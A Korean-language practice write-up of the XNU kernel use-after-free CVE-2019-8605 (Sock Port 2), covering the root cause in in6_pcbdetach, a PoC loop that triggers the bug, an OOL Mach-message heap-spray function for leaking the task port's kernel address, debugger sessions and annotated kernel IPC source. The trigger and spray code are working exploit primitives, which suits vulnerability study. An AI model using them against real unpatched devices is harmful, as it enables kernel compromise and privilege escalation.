콘텐츠로 건너뛰기

[실습] CVE-2019-8605(sock port 2) 이해하기

관련 글과 코드들은 아래 링크에서 확인하실 수 있습니다.

https://github.com/wh1te4ever/xnu_1day_practice/tree/main/CVE-2019-8605

버그에 대한 근본 원인 분석

void in6_pcbdetach(struct inpcb *inp) {
    // ...
    if (!(so->so_flags & SOF_PCBCLEARING)) {
        struct ip_moptions *imo;
        struct ip6_moptions *im6o;

        inp->inp_vflag = 0;
        if (inp->in6p_options != NULL) {
            m_freem(inp->in6p_options);
            inp->in6p_options = NULL;   // <- 올바르게 NULL 처리 (GOOD)
        }
        ip6_freepcbopts(inp->in6p_outputopts);    // <- 해제만 함, NULL 처리X (BAD)
        // 매핑된 주소의 경우 IPv4 관련 리소스 해제
        ROUTE_RELEASE(&inp->in6p_route);
        if (inp->inp_options != NULL) {
            (void)m_free(inp->inp_options);        // <- 올바르게 NULL 처리, (GOOD)
            inp->inp_options = NULL;
        }
        // ...
    }
}

버그가 발생하는 코드는 위와 같다.

ip6_freepcbopts 함수를 통해 inp->in6p_outputopts 가 해제되지만, NULL로 설정되지 않아 포인터가 재사용될 수 있다는 점이다.

이렇게 NULL 설정되어 있지 않아 포인터가 여전히 해제된 메모리 영역을 가리키고 남아있는 주소를 바로 댕글링 포인터 (dangling pointer)라고 부른다.

ip6_freepcbopts 함수는 어떻게 하면 트리거할 수 있을까?

https://newosxbook.com/xxr/index.php?q=ip6_freepcbopts&ver=xnu-4903.221.2&case=false&def=false

리눅스 커널 살펴볼때 elixir와 비슷한 사이트를 찾았는데 아래와 같이 추적할 수 있다.

Case-insensitive search for in6_pcbdetach in XNU version 4903.221.2
  bsd/netinet6/udp6_usrreq.c	689: in6_pcbdetach(inp);
894: in6_pcbdetach(inp);
  bsd/netinet6/in6_pcb.h	101:extern void in6_pcbdetach(struct inpcb *);
  bsd/netinet6/in6_pcb.c	170: in6_pcbdetach(inp);
631: in6_pcbdetach(inp);
635:in6_pcbdetach(struct inpcb *inp) definition
  bsd/netinet6/raw_ip6.c	829: in6_pcbdetach(inp);
  bsd/netinet/udp_usrreq.c	2477: in6_pcbdetach(inp);
  bsd/netinet/tcp_usrreq.c	2701: in6_pcbdetach(inp);
  bsd/netinet/raw_ip.c	1071: in6_pcbdetach(inp);
  bsd/netinet/tcp_timer.c	613: in6_pcbdetach(inp);
658: in6_pcbdetach(inp);
  bsd/netinet/flow_divert.c	2694: in6_pcbdetach(inp);
  bsd/netinet/tcp_subr.c	1591: in6_pcbdetach(inp);

void
in6_pcbdetach(struct inpcb *inp);
bsd/netinet6/in6_pcb.c	681: ip6_freepcbopts(inp->in6p_outputopts);

bsd/netinet6/ip6_output.c	3345:ip6_freepcbopts(struct ip6_pktopts *pktopt) definition

다시 돌아와서…

여기서 문제는 inp->in6p_outputopts 가 해제되지만 NULL로 설정되지 않아 포인터가 재사용될 수 있다는 것이다.

소켓을 파괴하지 않고 연결을 끊으면 이 조건에 도달할 수 있다고 추가적으로 설명되었다.

개념 증명 코드

샌드박스 내에서 다음 PoC가 적용된다.

while (1) {
    int s = socket(AF_INET6, SOCK_STREAM, IPPROTO_TCP);

    // 연결을 끊은 후 (그리고 소켓 옵션을 해제한 후) setsockopt 허용
    struct so_np_extensions sonpx = {
        .npx_flags = SONPX_SETOPTSHUT,
        .npx_mask  = SONPX_SETOPTSHUT
    };
    setsockopt(s, SOL_SOCKET, SO_NP_EXTENSIONS, &sonpx, sizeof(sonpx));

    int minmtu = -1;
    setsockopt(s, IPPROTO_IPV6, IPV6_USE_MIN_MTU, &minmtu, sizeof(minmtu)); // in6p_outputops 할당
    disconnectx(s, 0, 0);   // in6p_outputopts 해제
    **setsockopt(s, IPPROTO_IPV6, IPV6_USE_MIN_MTU, &minmtu, sizeof(minmtu)); // UAF 발생**
    close(s);
}

Exploit

1. Dangling ptr을 활용한 task port 유출

이제 버그와 트리거 방법을 알았으니 익스플로잇으로 넘어가보자.

이것은 UAF 버그이므로 "힙 스프레이"라는 기술이 사용된다.

UAF된 객체는 해제되었는데, 해제된 메모리와 해제되지 않은 메모리의 차이는… 무엇일까?

해제된 메모리는 재사용될 수 있다. 다음 할당이 해제된 객체가 있던 동일한 주소에 끝날 가능성이 있으며, 이런 식으로 해당 객체의 데이터를 제어할 수 있다.

이제 떠오르는 질문은:

  1. 커널에게 메모리를 할당하라고 어떻게 지시하나?

  2. 어떻게 동일한 주소에 끝나는지 확인할 수 있나?

힙스프레이.

데이터가 어디로 가는지 제어할 수 없기 때문에 많은 할당을 하고 우리가 원하는 곳에 도착하기를 기다린다…

그것이 도착했는지 어떻게 확인하는지는 우리가 UAF한 객체에 따라 다르지만, 이 경우에는 가능하며 매우 간단하다.

  1. 어떤 데이터를 넣어야 하나?

IOSurface나 mach 메시지와 같은 여러 가지 방법이 존재한다.

(참고: 커널 메모리는 할당 크기에 따라 영역으로 구성되므로, 우리가 만드는 할당은 UAF된 객체와 동일한 크기여야 동일한 주소에 끝날 수 있음. 이에 대한 자세한 내용은 나중에 설명).

IOSurface는 그래픽에 사용되는 커널 확장으로, 샌드박스에서 접근 가능하며 사용자 정의 크기의 데이터를 커널로 가져올 수 있는 메서드를 제공한다.

Mach 메시지는 프로세스 간 통신에 사용되지만, 커널이 모든 프로세스를 관리하므로 데이터를 먼저 커널로 보낸다. 따라서 이 방법을 사용하여 데이터를 커널로 보내는게 가능하다.

먼저 댕글링 포인터인 inp->in6p_outputopts 가 뭔지 살펴보자

타입은 struct ip6_pktopts * 이다.

void ip6_freepcbopts(struct ip6_pktopts *);

proc 구조체에서 도달하는 방법은 다음과 같다.

our proc struct 
-> struct filedesc (named p_fd, offset = 0x100 or 0x108 on iOS 11) 
-> struct fileproc array (named fd_ofiles, offset = 0) 
-> 소켓 파일 디스크립터를 인덱스로 하는 요소 
-> struct fileglob (named f_fglob, offset = 8) 
-> struct socket (named fg_data, offset = 56) 
-> struct inpcb (named so_pcb, offset = 16) 
-> struct ip6_pktopts (named inp6_outputopts, offset = 304). 

이제 "struct ip6_pktopts"를 살펴보면,

struct ip6_pktopts {
    struct mbuf         *ip6po_m;
    int                  ip6po_hlim;
    **struct in6_pktinfo  *ip6po_pktinfo;**
    struct ip6po_nhinfo  ip6po_nhinfo;
    struct ip6_hbh      *ip6po_hbh;
    struct ip6_dest     *ip6po_dest1;
    struct ip6po_rhinfo  ip6po_rhinfo;
    struct ip6_dest     *ip6po_dest2;
    **int                  ip6po_tclass;**
    **int                  ip6po_minmtu;**
    **int                  ip6po_prefer_tempaddr;**
    int                  ip6po_flags;
};

여기에서 **get/setsockopt**를 사용하여

ip6po_pktinfo

ip6po_tclass

ip6po_minmtu

ip6po_prefer_tempaddr

필드를 제어할 수 있다고 한다.

취약점을 사용하여 원할 때마다 이 구조체를 해제하고, 힙 스프레이를 사용하여 원하는 내용으로 할당할 수 있다는 것을 다시한번 상기하자.

우리가 먼저 할 수 있는 한 가지는 data leak이다.

int ip6po_minmtu;

int ip6po_prefer_tempaddr;

와 같은 정수를 읽을 수 있다.

이를 통해 우리 태스크 포트의 커널 주소를 유출할 수 있다.

어떻게 하면 가능할까? OOL 메시지를 활용한 Ian Beer의 간단한 스프레이 기법을 사용한다.

OOL 메시지는 XNU의 프로세스 간 통신(IPC) 메커니즘에 중요하게 쓰이기도 하며, 메시지를 수신하기 전까지 계속 커널 공간에 남아두게 만들 수 있다.

https://dmcyk.xyz/post/xnu_ipc_iii_ool_data/

여기서 관심 있는 객체, 예를 들어 포트 권한(port right) — 을 선택하고, 해당 포트 권한을 여러 번 복사한 OOL(Out-Of-Line) 디스크립터가 포함된 Mach 메시지를 준비한다.

앞서 본 기술을 사용해 이 메시지를 다른 임시 포트(ephemeral port) 로 전송하면, 결과적으로 포트 디스크립터가 kalloc 존에 여러 번 복사되게 된다.

코드는 다음과 같다.

// from Ian Beer. make a kernel allocation with the kernel address of 'target_port', 'count' times
mach_port_t fill_kalloc_with_port_pointer(mach_port_t target_port, int count, int disposition) {
    mach_port_t q = MACH_PORT_NULL;
    kern_return_t err;
    err = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &q);
    if (err != KERN_SUCCESS) {
        printf("[-] failed to allocate port\n");
        return 0;
    }
    
    mach_port_t* ports = malloc(sizeof(mach_port_t) * count);
    for (int i = 0; i < count; i++) {
        ports[i] = target_port;
    }
    
    struct ool_msg* msg = (struct ool_msg*)calloc(1, sizeof(struct ool_msg));
    
    msg->hdr.msgh_bits = MACH_MSGH_BITS_COMPLEX | MACH_MSGH_BITS(MACH_MSG_TYPE_MAKE_SEND, 0);
    msg->hdr.msgh_size = (mach_msg_size_t)sizeof(struct ool_msg);
    msg->hdr.msgh_remote_port = q;
    msg->hdr.msgh_local_port = MACH_PORT_NULL;
    msg->hdr.msgh_id = 0x41414141;
    
    msg->body.msgh_descriptor_count = 1;
    
    msg->ool_ports.address = ports;
    msg->ool_ports.count = count;
    msg->ool_ports.deallocate = 0;
    msg->ool_ports.disposition = disposition;
    msg->ool_ports.type = MACH_MSG_OOL_PORTS_DESCRIPTOR;
    msg->ool_ports.copy = MACH_MSG_PHYSICAL_COPY;
    
    err = mach_msg(&msg->hdr,
                   MACH_SEND_MSG|MACH_MSG_OPTION_NONE,
                   msg->hdr.msgh_size,
                   0,
                   MACH_PORT_NULL,
                   MACH_MSG_TIMEOUT_NONE,
                   MACH_PORT_NULL);
    
    if (err != KERN_SUCCESS) {
        printf("[-] failed to send message: %s\n", mach_error_string(err));
        return MACH_PORT_NULL;
    }
    
    return q;
}

위 코드에서 주목할 점은, 메시지가 전송(MACH_SEND_MSG) 되지만 수신되지는 않는다는 점이다.

이렇게 하면 메시지가 수신되거나, 메시지의 대상 포트가 파괴되기 전까지는 포트 스프레이가 커널 공간에 남아 있게 된다.

이 때문에 스프레이 함수는 대상 포트(target port) 를 반환한다. 커널 내부에서 복사가 완료된 후, 해당 포트를 곧바로 해제하고, 주소 유출을 시도한다.

커널 존(zone)의 포인터는 항상 0xffffff8......... 형태를 띈다… 따라서 유출된 주소가 8바이트 중 상위 1바이트가 0일지라도(즉, 7바이트만 유출되더라도), 해당 값이 커널 포인터라는 것을 알아볼 수 있다.

예시로 아래 코드를 실행시켜서 디버깅해서 살펴보자.

int main(int argc, char *argv[], char *envp[]) {

    mach_port_t p = fill_kalloc_with_port_pointer(mach_task_self(), 192/sizeof(uint64_t), MACH_MSG_TYPE_COPY_SEND);
    printf("p: 0x%x\n", p);
    while(1) {};

    return 0;
}

우선은 저 192크기만큼 kalloc을 수행하는곳은 내부적으로 ipc_kmsg_copyin_ool_ports_descriptor 함수에서 호출된다.

QEMU로 디버깅하는데. 가상 호스트맥에서 lldb와 우분투에서 gdb-gef 동시에 혼용해서 디버깅할 필요가 있었다.

Target 0: (kernel) stopped.
(lldb) p/x ipc_kmsg_copyin_ool_ports_descriptor
(mach_msg_descriptor_t *(*)(mach_msg_ool_ports_descriptor_t *, mach_msg_descriptor_t *, int, vm_map_t, ipc_space_t, ipc_object_t, ipc_kmsg_t, mach_msg_option_t *, mach_msg_return_t *)) $0 = 0xffffff801778df60 (kernel`ipc_kmsg_copyin_ool_ports_descriptor at ipc_kmsg.c:2810)

# ipc_kmsg_copyin_ool_ports_descriptor 함수 주소는 0xffffff801778df60 
# 내부적으로 kalloc이 ipc_kmsg_copyin_ool_ports_descriptor+0xe9에서 call 됨.
# 브포를 검
gef> b *0xffffff801778df60+0xe9
Breakpoint 2 at 0xffffff801778e049

# kalloc 할당 주소는 ipc_kmsg_copyin_ool_ports_descriptor+0xee, 즉 call 바로 직후에 브포를 걸어 확인
gef> b *0xffffff801778df60+0xee
Breakpoint 3 at 0xffffff801778e04e

위와 같은 조금 까다로운 방법으로 디버깅하다보면, kalloc 함수 호출하는데에서

image.png

0xc0(=192) 크기를 할당하는 모습을 볼 수 있을텐데,

image.png

할당된 주소는 0xffffff801f79a540이다.

이후 계속 실행시키고 다시 할당주소를 확인해보면,

image.png

위와 같은 값이 연속적으로 채워진것을 볼 수 있다. 이것이 바로 우리 프로세스의 task 주소이다.

ports_length를 dangling된 inp->in6p_outputopts의 크기와 같게 설정했기 때문에 해당 배열이 우리가 해제한 inp->in6p_outputopts 메모리 공간에 다시 할당되도록 만들 수 있고 dangling pointer를 통해 소켓 관련 함수로 다시 해당 값을 leak시킬 수 있다.

dangling pointer를 통해 task port를 leak시키는 심층탐구 분석내용

출처:

https://wnagzihxa1n.vip/assets/pdf/CVE-2019-8605 FROM UAF TO TFP0.pdf / 출처에 있는 글을 ChatGPT로 번역함.

UAF(Use-After-Free) 취약점의 일반적인 익스플로잇 방식은 해제된 공간에 다시 할당되도록 heap spraying을 수행하여 주소를 한번 누출시켜보자.

그렇다면 어떤 주소를 누출해볼까?

Task Port

Task Port가 무엇이며, 이를 획득했을 때 무엇을 할 수 있는지를 설명하기 위해 먼저 XNU에서의 Task 개념을 소개해보겠다.

Task는 자원의 컨테이너로, 가상 주소 공간, 프로세서 자원, 스케줄링 제어 등을 캡슐화힌다. 이에 대응되는 구조체는 다음과 같으며, 이 중 특히 IPC 구조체 부분을 주목하자.

struct task {
	/* Synchronization/destruction information */
	decl_lck_mtx_data(,lock)		/* Task's lock */
	_Atomic uint32_t	ref_count;	/* Number of references to me */
	boolean_t	active;		/* Task has not been terminated */
	boolean_t	halting;	/* Task is being halted */
	/* Virtual timers */
	uint32_t		vtimers;

	/* Miscellaneous */
	vm_map_t	map;		/* Address space description */
	queue_chain_t	tasks;	/* global list of tasks */

#if defined(CONFIG_SCHED_MULTIQ)
	sched_group_t sched_group;
#endif /* defined(CONFIG_SCHED_MULTIQ) */

	/* Threads in this task */
	queue_head_t		threads;

	processor_set_t		pset_hint;
	struct affinity_space	*affinity_space;

	int			thread_count;
	uint32_t		active_thread_count;
	int			suspend_count;	/* Internal scheduling only */

	/* User-visible scheduling information */
	integer_t		user_stop_count;	/* outstanding stops */
	integer_t		legacy_stop_count;	/* outstanding legacy stops */

	integer_t		priority;			/* base priority for threads */
	integer_t		max_priority;		/* maximum priority for threads */

	integer_t		importance;		/* priority offset (BSD 'nice' value) */

	/* Task security and audit tokens */
	security_token_t sec_token;
	audit_token_t	audit_token;

	/* Statistics */
	uint64_t		total_user_time;	/* terminated threads only */
	uint64_t		total_system_time;
	uint64_t		total_ptime;
	uint64_t		total_runnable_time;

	/* IPC structures */
	decl_lck_mtx_data(,itk_lock_data)
	struct ipc_port *itk_self;	/* not a right, doesn't hold ref */
	struct ipc_port *itk_nself;	/* not a right, doesn't hold ref */
	struct ipc_port *itk_sself;	/* a send right */
	struct exception_action exc_actions[EXC_TYPES_COUNT];
		 			/* a send right each valid element  */
	struct ipc_port *itk_host;	/* a send right */
	struct ipc_port *itk_bootstrap;	/* a send right */
	struct ipc_port *itk_seatbelt;	/* a send right */
	struct ipc_port *itk_gssd;	/* yet another send right */
	struct ipc_port *itk_debug_control; /* send right for debugmode communications */
	struct ipc_port *itk_task_access; /* and another send right */ 
	struct ipc_port *itk_resume;	/* a receive right to resume this task */
	struct ipc_port *itk_registered[TASK_PORT_REGISTER_MAX];
					/* all send rights */

	**struct ipc_space *itk_space;
	...
}**

간단히 말해, Task Port는 하나의 태스크(작업) 자체를 나타내는 포트이다. mach_task_self 또는 mach_task_self() 함수를 호출하면 이를 얻을 수 있으며, 이 포트를 활용해 다양한 작업을 수행할 수 있다!

예를 들어, 아래 코드에서 사용하는 함수 find_port_via_uaf()의 첫 번째 인자는 바로 mach_task_self() 호출을 통해 획득된 Task Port이다.

Task Port를 누출하는 과정은 다음과 같다.

먼저 취약점이 존재하는 소켓을 획득한 뒤, 해제된 메모리를 채운 후 inp->in6p_outputopts를 이용해 데이터를 읽어온다.

여기서 직접 데이터를 채우지 않는 이유는, 포트(Port)는 사용자 모드와 커널 모드에서 표현 방식이 다르기 때문인데, 단순히 사용자 모드에서 포트를 채운다고 해서 커널 모드에서 올바르게 인식되는 것이 아니므로, 포트를 무작정 채워 넣어선 안된다.

  • 사용자 모드에서는 Port가 부호 없는 정수형(unsigned int)이며
  • 커널 모드에서는 Port가 ipc_port 구조체이다.

그렇다면 어떻게 이 ipc_port 구조체의 커널 주소inp->in6p_outputopts에 할당할 수 있을까?

정답은: OOL Message(Out-Of-Line 메시지) 를 사용하는 것이다.

OOL Message는 다음과 같이 정의되며, 그중 mach_msg_ool_ports_descriptor_t 구조체는 하나의 메시지 안에 포트 배열 형태로 여러 Mach Port를 보낼 수 있도록 설계되어 있다.

struct ool_msg {
 mach_msg_header_t hdr;
 mach_msg_body_t body;
 mach_msg_ool_ports_descriptor_t ool_ports;
};

왜 OOL(Message)을 채우는 데 사용해야 할까? 그 이유는 소스 코드를 분석하면 알 수 있다.

Mach 메시지의 송수신은 mach_msg() 함수에 의존하며, 이 함수는 사용자 모드와 커널 모드 모두에 구현되어 있다.

우리가 mach_msg() 함수를 따라가 보면, 이 함수는 내부적으로 mach_msg_trap() 함수를 호출하고,

mach_msg_trap() 함수는 다시 mach_msg_overwrite_trap() 함수를 호출하게 된다.

mach_msg_return_t
mach_msg_trap(
 struct mach_msg_overwrite_trap_args *args)
{
 kern_return_t kr;
 args->rcv_msg = (mach_vm_address_t)0;
 kr = mach_msg_overwrite_trap(args);
 return kr;
}

mach_msg() 함수의 두 번째 인자가 MACH_SEND_MSG일 때,

내부적으로 ipc_kmsg_get() 함수가 호출되어 버퍼를 할당하고 사용자 모드의 데이터를 커널 모드로 복사하게 된다.

mach_msg_return_t
mach_msg_overwrite_trap(
 struct mach_msg_overwrite_trap_args *args)
{
 mach_vm_address_t msg_addr = args->msg;
 mach_msg_option_t option = args->option; // mach_msg() 두 번째 인자
个参数
 ...
 mach_msg_return_t mr = MACH_MSG_SUCCESS; // ⼤吉⼤利
 vm_map_t map = current_map();
 /* Only accept options allowed by the user */
 option &= MACH_MSG_OPTION_USER;
 if (option & MACH_SEND_MSG) {
 ipc_space_t space = current_space();
 ipc_kmsg_t kmsg; // kmsg 변수를 생성
 // 버퍼를 할당하고 사용자 모드에서 커널 모드로 메시지 헤더를 복사
 mr = ipc_kmsg_get(msg_addr, send_size, &kmsg);
 // 포트를 변환하고 메시지 본문을 복사
 mr = ipc_kmsg_copyin(kmsg, space, map, override, &option);
 // 메시지를 전송
 mr = ipc_kmsg_send(kmsg, option, msg_timeout);
 }
 if (option & MACH_RCV_MSG) {
 ...
 }
 return MACH_MSG_SUCCESS;
 }

함수 ipc_kmsg_get()에서 ipc_kmsg_t커널 모드의 메시지 저장 구조체이다.

복사 과정은 주석을 보면 되며, 여기서는 주로 kmsg->ikm_header 를 처리한다.

mach_msg_return_t
ipc_kmsg_get(
 mach_vm_address_t msg_addr,
 mach_msg_size_t size,
 ipc_kmsg_t *kmsgp)
{
 mach_msg_size_t msg_and_trailer_size;
 ipc_kmsg_t kmsg;
 mach_msg_max_trailer_t *trailer;
 mach_msg_legacy_base_t legacy_base;
 mach_msg_size_t len_copied;
 legacy_base.body.msgh_descriptor_count = 0;
 // 길이 파라미터 검사
 ...
 // mach_msg_legacy_base_t 구조체의 길이는 mach_msg_base_t와 동일함
 if (size == sizeof(mach_msg_legacy_header_t)) {
 len_copied = sizeof(mach_msg_legacy_header_t);
 } else {
 len_copied = sizeof(mach_msg_legacy_base_t);
 }

 // 사용자 모드에서 커널 모드로 메시지를 복사
 if (copyinmsg(msg_addr, (char *)&legacy_base, len_copied)) {
 return MACH_SEND_INVALID_DATA;
 }
 // 커널 모드 메시지 변수의 시작 주소를 가져옴
 msg_addr += sizeof(legacy_base.header);
 // 가장 긴 trailer 길이를 직접 더하는 이유는, 수신자가 어떤 종류의 trailer를 정의할지 알 수 없기 때문에 이곳에서는 예비 처리.
 // typedef mach_msg_mac_trailer_t mach_msg_max_trailer_t;
 // #define MAX_TRAILER_SIZE
((mach_msg_size_t)sizeof(mach_msg_max_trailer_t))
 msg_and_trailer_size = size + MAX_TRAILER_SIZE;

 // 커널 공간 할당
 kmsg = ipc_kmsg_alloc(msg_and_trailer_size);
 // kmsg.ikm_header의 일부 필드를 초기화
 ...
 // 메시지 본문을 복사함 (여기서는 trailer는 포함되지 않음)
 if (copyinmsg(msg_addr, (char *)(kmsg->ikm_header + 1), size -
(mach_msg_size_t)sizeof(mach_msg_header_t))) {
 ipc_kmsg_free(kmsg);
 return MACH_SEND_INVALID_DATA;
 }
 // size를 통해 kmsg의 끝부분, 즉 trailer의 시작 주소를 찾아 초기화함
 trailer = (mach_msg_max_trailer_t *) ((vm_offset_t)kmsg->ikm_header + size);
 trailer->msgh_sender = current_thread()->task->sec_token;
 trailer->msgh_audit = current_thread()->task->audit_token;
 trailer->msgh_trailer_type = MACH_MSG_TRAILER_FORMAT_0;
 trailer->msgh_trailer_size = MACH_MSG_TRAILER_MINIMUM_SIZE;
 trailer->msgh_labels.sender = 0;

 *kmsgp = kmsg;
 return MACH_MSG_SUCCESS;
}

함수 ipc_kmsg_copyin()은 여기서 우리가 중점적으로 분석할 로직이다.

전체 코드에서 업무와 무관한 부분은 삭제하였으며,

함수 ipc_kmsg_copyin_header()는 우리가 분석할 로직과 관련이 없으므로 제외하고,

주로 함수 ipc_kmsg_copyin_body()를 살펴본다.

mach_msg_return_t
ipc_kmsg_copyin(
 ipc_kmsg_t kmsg,
 ipc_space_t space,
 vm_map_t map,
 mach_msg_priority_t override,
 mach_msg_option_t *optionp)
{
 mach_msg_return_t mr;
 kmsg->ikm_header->msgh_bits &= MACH_MSGH_BITS_USER;
 mr = ipc_kmsg_copyin_header(kmsg, space, override, optionp);
 if ((kmsg->ikm_header->msgh_bits & MACH_MSGH_BITS_COMPLEX) == 0)
 return MACH_MSG_SUCCESS;
 mr = ipc_kmsg_copyin_body( kmsg, space, map, optionp);
 return mr;
}

함수 ipc_kmsg_copyin_body()는 먼저 OOL 데이터가 조건을 만족하는지 확인하고,

상황에 따라 커널 공간을 조정한 뒤,

마지막으로 핵심 함수인 ipc_kmsg_copyin_ool_ports_descriptor()를 호출한다.

mach_msg_return_t
ipc_kmsg_copyin_body(
 ipc_kmsg_t kmsg,
 ipc_space_t space,
 vm_map_t map,
 mach_msg_option_t *optionp)
{
 ipc_object_t dest;
 mach_msg_body_t *body;
 mach_msg_descriptor_t *daddr, *naddr;
 mach_msg_descriptor_t *user_addr, *kern_addr;
 mach_msg_type_number_t dsc_count;
 // #define VM_MAX_ADDRESS ((vm_address_t) 0x80000000)
 boolean_t is_task_64bit = (map->max_offset >
VM_MAX_ADDRESS);
 boolean_t complex = FALSE;
 vm_size_t space_needed = 0;
 vm_offset_t paddr = 0;
 vm_map_copy_t copy = VM_MAP_COPY_NULL;
 mach_msg_type_number_t i;
 mach_msg_return_t mr = MACH_MSG_SUCCESS;
 vm_size_t descriptor_size = 0;
 mach_msg_type_number_t total_ool_port_count = 0;
 // 목표 포트
 dest = (ipc_object_t) kmsg->ikm_header->msgh_remote_port;
 // 커널 모드 메시지 본문의 시작 주소
 body = (mach_msg_body_t *) (kmsg->ikm_header + 1);
 naddr = (mach_msg_descriptor_t *) (body + 1);
 // msgh_descriptor_count가 0이면 데이터가 없다는 의미이므로 바로 반환됨 — 여기서는 우리가 1로 설정함
 dsc_count = body->msgh_descriptor_count;
 if (dsc_count == 0) return MACH_MSG_SUCCESS;
 daddr = NULL;
 for (i = 0; i < dsc_count; i++) {
 mach_msg_size_t size;
 mach_msg_type_number_t ool_port_count = 0;
 daddr = naddr;
 /* make sure the descriptor fits in the message */
 // 구조체 mach_msg_ool_ports_descriptor_t의 첫 번째 필드는 주소임
 // void* address;
 // 64비트에서는 8바이트, 32비트에서는 4바이트
 if (is_task_64bit) {
 switch (daddr->type.type) {
 case MACH_MSG_OOL_DESCRIPTOR:
 case MACH_MSG_OOL_VOLATILE_DESCRIPTOR:
 case MACH_MSG_OOL_PORTS_DESCRIPTOR:
 descriptor_size += 16;
 naddr = (typeof(naddr))((vm_offset_t)daddr + 16);
 break;
 default:
 descriptor_size += 12;
 naddr = (typeof(naddr))((vm_offset_t)daddr + 12);
 break;
 }
 } else {
 descriptor_size += 12;
 naddr = (typeof(naddr))((vm_offset_t)daddr + 12);
 }
 }
 user_addr = (mach_msg_descriptor_t *)((vm_offset_t)kmsg-
>ikm_header + sizeof(mach_msg_base_t));
 // 왼쪽으로 이동이 필요한지 판단 — 기본적으로 descriptor가 1개일 때 크기는 16바이트이며,
 // 우리는 1개만 설정했기 때문에 이동할 필요는 없음
 if(descriptor_size != 16*dsc_count) {
 vm_offset_t dsc_adjust = 16*dsc_count - descriptor_size;
 memmove((char *)(((vm_offset_t)kmsg->ikm_header) -
dsc_adjust), kmsg->ikm_header, sizeof(mach_msg_base_t));
 kmsg->ikm_header = (mach_msg_header_t *)((vm_offset_t)kmsg-
>ikm_header - dsc_adjust);
 kmsg->ikm_header->msgh_size += (mach_msg_size_t)dsc_adjust;
 }
 kern_addr = (mach_msg_descriptor_t *)((vm_offset_t)kmsg-
>ikm_header + sizeof(mach_msg_base_t));
 /* handle the OOL regions and port descriptors. */
 for(i = 0; i < dsc_count; i++) {
 switch (user_addr->type.type) {
 case MACH_MSG_OOL_PORTS_DESCRIPTOR:
 user_addr =
ipc_kmsg_copyin_ool_ports_descriptor((mach_msg_ool_ports_descriptor_t
*)kern_addr,
 user_addr, is_task_64bit, map, space,
dest, kmsg, optionp, &mr);
 kern_addr++;
 complex = TRUE;
 break;
 }
 } /* End of loop */

 ...
}

함수 ipc_kmsg_copyin_ool_ports_descriptor()는 OOL 데이터를 처리하는 데 집중하며,

핵심 함수인 ipc_object_copyin()을 호출한다.

mach_msg_descriptor_t *
ipc_kmsg_copyin_ool_ports_descriptor(
 mach_msg_ool_ports_descriptor_t *dsc,
 mach_msg_descriptor_t *user_dsc,
 int is_64bit,
 vm_map_t map,
 ipc_space_t space,
 ipc_object_t dest,
 ipc_kmsg_t kmsg,
 mach_msg_option_t *optionp,
 mach_msg_return_t *mr)
{
 void *data;
 ipc_object_t *objects;
 unsigned int i;
 mach_vm_offset_t addr;
 mach_msg_type_name_t user_disp;
 mach_msg_type_name_t result_disp;
 mach_msg_type_number_t count;
 mach_msg_copy_options_t copy_option;
 boolean_t deallocate;
 mach_msg_descriptor_type_t type;
 vm_size_t ports_length, names_length;
 if (is_64bit) {
 mach_msg_ool_ports_descriptor64_t *user_ool_dsc =
(typeof(user_ool_dsc))user_dsc;
 addr = (mach_vm_offset_t)user_ool_dsc->address;
 count = user_ool_dsc->count;
 deallocate = user_ool_dsc->deallocate;
 copy_option = user_ool_dsc->copy;
 user_disp = user_ool_dsc->disposition;
 type = user_ool_dsc->type;
 user_dsc = (typeof(user_dsc))(user_ool_dsc+1);
 } else {
 ...
 }
 data = kalloc(ports_length);
#ifdef __LP64__
 mach_port_name_t *names = &((mach_port_name_t *)data)[count];
#else
 mach_port_name_t *names = ((mach_port_name_t *)data);
#endif
 objects = (ipc_object_t *) data;
 dsc->address = data;
 for ( i = 0; i < count; i++) {
 mach_port_name_t name = names[i];
 ipc_object_t object;
 if (!MACH_PORT_VALID(name)) {
 objects[i] = (ipc_object_t)CAST_MACH_NAME_TO_PORT(name);
 continue;
 }
 kern_return_t kr = ipc_object_copyin(space, name, user_disp,
&object);
 objects[i] = object;
 }
 return user_dsc;
}

함수 ipc_object_copyin()은 두 개의 함수를 포함합니다: ipc_right_lookup_write()ipc_right_copyin()이다.

kern_return_t
ipc_object_copyin(
 ipc_space_t space,
 mach_port_name_t name,
 mach_msg_type_name_t msgt_name,
 ipc_object_t *objectp)
{
 ipc_entry_t entry;
 ipc_port_t soright;
 ipc_port_t release_port;
 kern_return_t kr;
 int assertcnt = 0;
 kr = ipc_right_lookup_write(space, name, &entry);
 release_port = IP_NULL;
 kr = ipc_right_copyin(space, name, entry,
 msgt_name, TRUE,
 objectp, &soright,
 &release_port,
 &assertcnt);
 ...
 return kr;
}

함수 ipc_right_lookup_write()ipc_entry_lookup() 함수를 호출하며,

그 반환값을 entry에 할당한다.

kern_return_t
ipc_right_lookup_write(
 ipc_space_t space,
 mach_port_name_t name,
 ipc_entry_t *entryp)
{
 ipc_entry_t entry;
 is_write_lock(space);
 if ((entry = ipc_entry_lookup(space, name)) == IE_NULL) {
 is_write_unlock(space);
 return KERN_INVALID_NAME;
 }
 *entryp = entry;
 return KERN_SUCCESS;
}

여기서 두 가지 개념을 짚고 넘어갈 필요가 있다.

첫 번째는 구조체 ipc_space로, 이는 전체 Task의 IPC 공간을 나타낸다.

두 번째는 구조체 ipc_entry로, 이는 구조체 ipc_object를 가리킨다.

ipc_space 구조체에는 is_table이라는 멤버가 있으며, 이는 현재 Task의 모든 ipc_entry를 저장하는 데 사용된다.

우리의 이 시나리오에서 ipc_entry가 가리키는 것은 ipc_port이다.

즉, 변수 entry는 처음에 전달된 Task Port의 커널 모드 주소를 얻게 되는 것이다.

ipc_entry_t
ipc_entry_lookup(
 ipc_space_t space,
 mach_port_name_t name)
{
 mach_port_index_t index;
 ipc_entry_t entry;
 index = MACH_PORT_INDEX(name);
 if (index < space->is_table_size) {
 entry = &space->is_table[index];
 ...
 }
 return entry;
}

계층적으로 거슬러 올라가 보면, ipc_object_copyin() 함수의 인자 objectp는 상위 호출자인 ipc_kmsg_copyin_ool_ports_descriptor() 함수의 objects[] 배열에 저장된다. 이 objects[] 배열은 ipc_kmsg_copyin_ool_ports_descriptor 함수 내에서 메모리 공간이 할당되므로, 우리가 해야 할 일은 ports_lengthinp->in6p_outputopts의 크기와 같게 설정하는 것이다. 이렇게 하면 해당 배열이 우리가 해제한 메모리 공간에 할당되도록 만들 수 있다.

data = kalloc(ports_length);
objects = (ipc_object_t *) data;

하나의 로직 호출 흐름도를 만들었다. 빨간색 박스에 주목하자.

image.png

